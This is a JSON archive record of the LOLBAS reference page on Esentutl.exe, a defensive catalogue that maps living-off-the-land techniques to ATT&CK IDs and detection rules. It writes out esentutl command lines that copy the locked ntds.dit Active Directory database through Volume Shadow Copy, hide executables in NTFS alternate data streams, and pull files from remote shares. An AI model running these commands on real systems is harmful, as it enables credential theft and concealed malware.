{
	"id": "6963c54e-8ee5-4783-92de-8459a2d41e0c",
	"created_at": "2026-04-06T00:09:22.592547Z",
	"updated_at": "2026-04-10T03:21:03.321006Z",
	"deleted_at": null,
	"sha1_hash": "52a51019b4dd9d0bc4867671bee537d771ae3e56",
	"title": "Esentutl on LOLBAS",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 57069,
	"plain_text": "Esentutl on LOLBAS\r\nArchived: 2026-04-05 13:58:10 UTC\r\n.. /Esentutl.exe\r\nBinary for working with Microsoft Joint Engine Technology (JET) database\r\nPaths:\r\nC:\\Windows\\System32\\esentutl.exe\r\nC:\\Windows\\SysWOW64\\esentutl.exe\r\nResources:\r\nhttps://twitter.com/egre55/status/985994639202283520\r\nhttps://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/\r\nhttps://twitter.com/bohops/status/1094810861095534592\r\nAcknowledgements:\r\negre55 (@egre55)\r\nMike Cary (@grayfold3d)\r\nDetections:\r\nSigma: proc_creation_win_esentutl_params.yml\r\nSigma: proc_creation_win_esentutl_webcache.yml\r\nSigma: registry_event_esentutl_volume_shadow_copy_service_keys.yml\r\nSigma: proc_creation_win_esentutl_sensitive_file_copy.yml\r\nSplunk: esentutl_sam_copy.yml\r\nElastic: credential_access_copy_ntds_sam_volshadowcp_cmdline.toml\r\nCopy\r\n1. Copies the source VBS file to the destination VBS file.\r\nesentutl.exe /y C:\\Windows\\Temp\\file.source.vbs /d C:\\Windows\\Temp\\file.dest.vbs /o\r\nUse case\r\nCopies files from A to B\r\nPrivileges required\r\nhttps://lolbas-project.github.io/lolbas/Binaries/Esentutl/\r\nPage 1 of 3\n\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1105: Ingress Tool Transfer\r\n2. Copies a (locked) file using Volume Shadow Copy\r\nesentutl.exe /y /vss c:\\windows\\ntds\\ntds.dit /d C:\\Windows\\Temp\\file.dit\r\nUse case\r\nCopy/extract a locked file such as the AD Database\r\nPrivileges required\r\nAdmin\r\nOperating systems\r\nWindows 10, Windows 11, Windows 2016 Server, Windows 2019 Server\r\nATT\u0026CK® technique\r\nT1003.003: NTDS\r\nAlternate data streams\r\n1. Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.\r\nesentutl.exe /y C:\\Windows\\Temp\\file.exe /d C:\\Windows\\Temp\\file.ext:file.exe /o\r\nUse case\r\nCopy file and hide it in an alternate data stream as a defensive counter measure\r\nPrivileges required\r\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1564.004: NTFS File Attributes\r\n2. Copies the source Alternate Data Stream (ADS) to the destination EXE.\r\nesentutl.exe /y C:\\Windows\\Temp\\file.ext:file.exe /d C:\\Windows\\Temp\\file.exe /o\r\nUse case\r\nExtract hidden file within alternate data streams\r\nhttps://lolbas-project.github.io/lolbas/Binaries/Esentutl/\r\nPage 2 of 3\n\nPrivileges required\r\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1564.004: NTFS File Attributes\r\n3. Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.\r\nesentutl.exe /y \\\\servername\\C$\\Windows\\Temp\\file.exe /d C:\\Windows\\Temp\\file.ext:file.exe /o\r\nUse case\r\nCopy file and hide it in an alternate data stream as a defensive counter measure\r\nPrivileges required\r\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1564.004: NTFS File Attributes\r\nDownload\r\n1. Copies the source EXE to the destination EXE file\r\nesentutl.exe /y \\\\servername\\C$\\Windows\\Temp\\file.source.exe /d \\\\servername\\C$\\Windows\\Temp\\file.dest.e\r\nUse case\r\nUse to copy files from one unc path to another\r\nPrivileges required\r\nUser\r\nOperating systems\r\nWindows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\r\nATT\u0026CK® technique\r\nT1564.004: NTFS File Attributes\r\nSource: https://lolbas-project.github.io/lolbas/Binaries/Esentutl/\r\nhttps://lolbas-project.github.io/lolbas/Binaries/Esentutl/\r\nPage 3 of 3",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
	],
	"report_names": [
		"Esentutl"
	],
	"threat_actors": [],
	"ts_created_at": 1775434162,
	"ts_updated_at": 1775791263,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/52a51019b4dd9d0bc4867671bee537d771ae3e56.pdf",
		"text": "https://archive.orkl.eu/52a51019b4dd9d0bc4867671bee537d771ae3e56.txt",
		"img": "https://archive.orkl.eu/52a51019b4dd9d0bc4867671bee537d771ae3e56.jpg"
	}
}